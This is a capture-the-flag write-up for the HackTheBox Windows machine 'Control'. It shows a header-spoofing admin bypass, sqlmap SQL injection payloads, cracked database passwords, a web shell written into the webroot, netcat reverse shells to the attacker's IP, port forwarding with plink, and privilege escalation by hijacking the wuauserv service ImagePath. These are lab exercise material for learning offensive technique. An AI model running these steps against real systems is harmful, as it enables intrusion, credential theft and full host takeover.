

# Hackthebox Control writeup

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## Control

OS:  Windows

Difficulty: **Hard**

Points: **40**

Release: 23 Nov 2019

IP: 10.10.10.167

## information

Control is 40 points hard machine.Based on Windows os

### Summary

- Viewing at source we got an ip
- Accessing admin panel by using X-Forwarded-For: header
- sqli in search\_product.php
- upload file using sqlmap and get reverse shell
- abusing the service wuauserv by adding registry with image path of the netcat

## Nmap



```
1 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-14 13:55 WIT
2 Stats: 0:00:19 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
3 SYN Stealth Scan Timing: About 23.25% done; ETC: 13:56 (0:00:56 remaining)
4 Stats: 0:00:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
5 SYN Stealth Scan Timing: About 86.00% done; ETC: 13:56 (0:00:09 remaining)
6 Nmap scan report for control.htb (10.10.10.167)
7 Host is up (0.38s latency).
8 Not shown: 997 filtered ports
9 PORT      STATE SERVICE VERSION
10 80/tcp    open  http      Microsoft IIS httpd 10.0
11 | http-methods:
12 |_ Potentially risky methods: TRACE
13 |_ http-server-header: Microsoft-IIS/10.0
14 |_ http-title: Fidelity
15 135/tcp   open  msrpc     Microsoft Windows RPC
16 3306/tcp  open  mysql?
17 | fingerprint-strings:
18 |_ DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, Kerberos, LPDString, NCP, NotesRPC, RPCCheck,
19 RTSPRequest, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, oracle-tns:
20 |_ Host '10.10.14.204' is not allowed to connect to this MariaDB server
21 1 service unrecognized despite returning data. If you know the service/version, please submit the following
22 fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
23 SF-Port3306-TCP:V=7.80%I=7%D=2/14%Time=5E4628A3%P=x86_64-pc-linux-gnu%(RT
24 SF:SPRequest,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20not\
25 SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCC
26 SF:heck,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20not\x20a
27 SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersio
28 SF:nBindReqTCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20no
29 SF:t\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DN
30 SF:SStatusRequestTCP,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is
31 SF:\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server"
32 SF:)%r(TerminalServerCookie,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204
33 SF:'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20
34 SF:server")%r(TLSSessionReq,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204
35 SF:'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20
36 SF:server")%r(Kerberos,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20
37 SF:is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20serve
38 SF:r")%r(X11Probe,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x2
39 SF:0not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r
40 SF:(FourOhFourRequest,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20i
41 SF:s\x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server
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43 SF:0not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r
44 SF:(TerminalServer,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x
45 SF:20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%
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47 SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(NotesRPC
48 SF:,4B,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20not\x20allowe
49 SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(WMSRequest,4B
50 SF:,"G\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20not\x20allowed\x
51 SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(oracle-tns,4B,"G
52 SF:\0\0\x01\xffj\x04Host\x20'10\10\14\204'\x20is\x20not\x20allowed\x20t
53 SF:o\x20connect\x20to\x20this\x20MariaDB\x20server");
54 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
55
56 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
57 Nmap done: 1 IP address (1 host up) scanned in 121.09 seconds
```

Three ports 80 http 135 msrpc 3306 mysql

port 80

There is a admin panel tab too but showing access denied and telling to use proxy

Viewing at the source code it has some interesting text in it

An ip which is for to enable ssl certificate

So, The ip we got, is maybe a valid ip that is allowed for accessing admin.php And i tried the same

i used burp-suite for interception proxy

And i got the admin panel

this was my request

```
1 GET /admin.php HTTP/1.1
2 Host: control.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://control.htb/
8 DNT: 1
9 Connection: close
10 Upgrade-Insecure-Requests: 1
11 x-forwarded-for: 192.168.4.28
```

sql

after putting a ' in the find products i confirmed the sql

i used sqlmap for the sqli saved the http request in `request.txt` and ran sqlmap

```
22 Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
23 Payload: productName=-1110' OR 7457=7457#
24
25 Type: error-based
26 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
27 Payload: productName=1' AND (SELECT 7362 FROM(SELECT COUNT(*),CONCAT(0x71627a7871,(SELECT
28 (ELT(7362=7362,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QaIn
29
30 Type: stacked queries
31 Title: MySQL >= 5.0.12 stacked queries (comment)
32 Payload: productName=1';SELECT SLEEP(5)#
33
34 Type: time-based blind
35 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
36 Payload: productName=1' AND (SELECT 1282 FROM (SELECT(SLEEP(5)))SjAs)-- zlek
37
38 Type: UNION query
39 Title: MySQL UNION query (NULL) - 6 columns
40 Payload: productName=1' UNION ALL SELECT
41 NULL,CONCAT(0x71627a7871,0x636c6378616c4145546b6e6170666e67756e467173714862555747786d7065655a637a77504c7347,0x717062717
42 ---
43 [04:01:08] [INFO] the back-end DBMS is MySQL
44 [04:01:08] [INFO] fetching banner
45 web server operating system: Windows 10 or 2016
46 web application technology: Microsoft IIS 10.0, PHP 7.3.7
47 back-end DBMS: MySQL >= 5.0
48 banner: '10.4.8-MariaDB'
49 [04:01:08] [INFO] fetching current user
50 current user: 'manager@localhost'
51 [04:01:08] [INFO] fetching current database
52 current database: 'warehouse'
53 [04:01:08] [INFO] fetching server hostname
54 hostname: 'Fidelity'
55 [04:01:08] [INFO] testing if current user is DBA
56 [04:01:08] [INFO] fetching current user
57 current user is DBA: False
58 [04:01:08] [INFO] fetching database users
59 database management system users [6]:
60 [*] 'hector'@'localhost'
61 [*] 'manager'@'localhost'
62 [*] 'root'@'127.0.0.1'
63 [*] 'root'@'::1'
64 [*] 'root'@'fidelity'
65 [*] 'root'@'localhost'
66
67 [04:01:08] [INFO] fetching database users password hashes
68 do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
69 do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
70 [04:01:08] [INFO] using hash method 'mysql_passwd'
71 [04:01:08] [INFO] resuming password 'l3tm3!n' for hash '*cfe3eee434b38cbf709ad67a4dcdea476cba7fda' for user 'manager'
72 what dictionary do you want to use?
73 [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
74 [2] custom dictionary file
75 [3] file with list of dictionary files
76 > 1
77 [04:01:08] [INFO] using default dictionary
78 do you want to use common password suffixes? (slow!) [y/N] N
79 [04:01:08] [INFO] starting dictionary-based cracking (mysql_passwd)
80 [04:01:08] [INFO] starting 4 processes
81 database management system users password hashes:
82 [*] hector [1]:
83 password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
84 [*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
clear-text password: l3tm3!n
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8
```

Got a password of the manager user

then i tried to upload a php file from inidishell [mannu.php](#)

And uploaded it with sqlmap

```
$sqlmap -r request.txt --file-write=/home/prashant/Desktop/munna.php --file-dest=C:/inetpub/wwwroot/munna.php
```

```

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____[ ( ]_____ {1.3.11#stable}
|_ -| . ["]      | .'| . |
|___|_ [)]_|_|_|_|_|_|_|_|
      |_|V...      |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse
this program

[*] starting @ 01:21:59 /2020-02-28/

[01:21:59] [INFO] parsing HTTP request from 'request.txt'
[01:22:01] [INFO] resuming back-end DBMS 'mysql'
[01:22:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: productName (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: productName=-1110' OR 7457=7457#

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
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(ELT(7362=7362,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QaIn

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---
[01:22:02] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 10 or 2016
web application technology: Microsoft IIS 10.0, PHP 7.3.7
back-end DBMS: MySQL >= 5.0
[01:22:02] [INFO] fingerprinting the back-end DBMS operating system
[01:22:02] [INFO] the back-end DBMS operating system is Windows
[01:22:05] [WARNING] potential permission problems detected ('Access denied')
[01:22:54] [WARNING] time-based comparison requires larger statistical model, please wait.....
do you want confirmation that the local file '/home/prashant/Desktop/munna.php' has been successfully written on the ba
('C:/inetpub/wwwroot/munna.php')? [Y/n] y
[01:25:23] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[01:25:23] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the request(s)
[01:25:24] [INFO] the local file '/home/prashant/Desktop/munna.php' and the remote file 'C:/inetpub/wwwroot/munna.php'
(13191 B)
[01:25:25] [INFO] fetched data logged to text files under '/root/.sqlmap/output/control.htb'
[01:25:25] [WARNING] you haven't updated sqlmap for more than 117 days!!!
```

And the file get uploaded successfully

Now i access it with `control.htb/munna.php`

So, i need to get a powershell shell

i transfered the nc.exe to the machine using the upload file feature in `mannu.php`

And next step is to get the shell with nc.exe with the cmd exct feature in mannu.php

```
.\nc.exe -e powershell.exe 10.10.15.6 1234
```

And i got shell

```
[root@parrot]~/home/prashant/Desktop
└─ #nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.167] 55119
Windows PowerShell
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PS C:\tmp> whoami
whoami
nt authority\iusr
```

there is one User `Hector` and i rememberd the hash of hector we got from the sqlmap So , I decided to decrypt it with john

```
[root@parrot]~/home/prashant
└─ #john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 128/128 XOP 4x2])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
l33th4x0rhector (hector)
1g 0:00:00:02 DONE (2020-02-28 06:37) 0.4901g/s 3138Kp/s 3138Kc/s 3138KC/s l33thax0r..l33th4ck3r
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

And we got the password,Since the winrm port was not opened so we cant use evil-winrm

But when i checked for internal ports , the port `5985 winrm port` running locally

```
1 PS C:\tmp> netstat -ano
2 netstat -ano
3
4 Active Connections
5
6     Proto  Local Address           Foreign Address         State           PID
7     TCP    0.0.0.0:80              0.0.0.0:0               LISTENING       4
8     TCP    0.0.0.0:135             0.0.0.0:0               LISTENING       828
9     TCP    0.0.0.0:3306            0.0.0.0:0               LISTENING       1860
10    TCP    0.0.0.0:5985            0.0.0.0:0               LISTENING       4
11
```

So it will be better if i forward the winrm port to my machine and use evil-winrm to login as hector I used plink.exe for this

Uploaded it to machine,and started ssh service of my machine

And execute it with the following

```

1 PS C:\tmp> .\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
2 .\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
3 .\plink.exe : The server's host key is not cached in the registry. You
4 At line:1 char:1
5 + .\plink.exe -l prashant -pw 123456 -R 5985:127.0.0.1:5985 10.10.15.6
6 + ~~~~~
7     + CategoryInfo          : NotSpecified: (The server's ho...e registry. You:String) [], RemoteException
8     + FullyQualifiedErrorId : NativeCommandError
9
10 have no guarantee that the server is the computer you
11 think it is.
12 The server's rsa2 key fingerprint is:
13 ssh-rsa 2048 05:42:28:0a:c1:3a:97:f9:6a:bf:f9:4a:16:50:0e:d1
14 If you trust this host, enter "y" to add the key to
15 PuTTY's cache and carry on connecting.
16 If you want to carry on connecting just once, without
17 adding the key to the cache, enter "n".
18 If you do not trust this host, press Return to abandon the
19 connection.
20 Store key in cache? (y/n)
21 y
22 Linux parrot 5.3.0-1parrot1-amd64 #1 SMP Parrot 5.3.7-1parrot1 (2019-11-04) x86_64
23 _____
24 | _ \ _ _ _ _ _ _ _ _ | | / _ | _ _ _
25 | | ) / _ | ' _ | ' _ / _ \ | \ _ \ / _ \ _ |
26 | _ / ( _ | | | | | ( _ ) | | _ _ ) | _ / ( _
27 | _ \ _ , _ | | | \ _ / \ _ | | _ / \ _ | \ _ |
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33 the exact distribution terms for each program are described in the
34 individual files in /usr/share/doc/*/copyright.
35
36 Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
37 permitted by applicable law.
38 Last login: Fri Feb 28 02:42:39 2020 from 10.10.10.167
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40 +-+-+-+-+--+
41 |H|E|L|L|O|_|P|R|A|S|H|A|N|T|
42 +-+-+-+-+--+
43 [root@parrot]~[/home/prashant]
```

And now it forwarded the winrm port to my machine I can use evil-winrm now to login as hector

user.txt

```
1 *Evil-WinRM* PS C:\Users\Hector\Documents> cat ../Desktop/user.txt
2 d8782dd01fb15b72c4b5ba77ef2d472b
3 *Evil-WinRM* PS C:\Users\Hector\Documents>
```

# Privilege escalation



```
1 *Evil-WinRM* PS C:\Users\Hector\Documents> whoami /priv
2
3 PRIVILEGES INFORMATION
4 -----
5
6 Privilege Name               Description                State
7 =====
8 SeChangeNotifyPrivilege      Bypass traverse checking   Enabled
9 SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

So, after enumerating very much i figured it out that i can abuse service `wuauserv` to get root (got a hint) I need to use `reg add` to add the image path of nc.exe to run the nc.exe as admin and get the shell

I can use `reg add` for this

```
1 *Evil-WinRM* PS C:\Users\Hector\Documents> reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t
2 REG_EXPAND_SZ /v ImagePath /d "C:\tmp\nc.exe -e powershell 10.10.15.6 4444" /f
3 The operation completed successfully.
4
*Evil-WinRM* PS C:\Users\Hector\Documents> Start-Service wuauserv
```

And i got the reverse shell as admin

```
1 -[root@parrot]-[/home/prashant]
2 #nc -nlvp 4444
3 listening on [any] 4444 ...
4 connect to [10.10.15.6] from (UNKNOWN) [10.10.10.167] 50508
5 Windows PowerShell
6 Copyright (C) Microsoft Corporation. All rights reserved.
7
8 PS C:\Windows\system32>
```

```
1 PS C:\Windows\system32>cat /Users/Administrator/Desktop/root.txt
2 8f8613-----ec1b1
```

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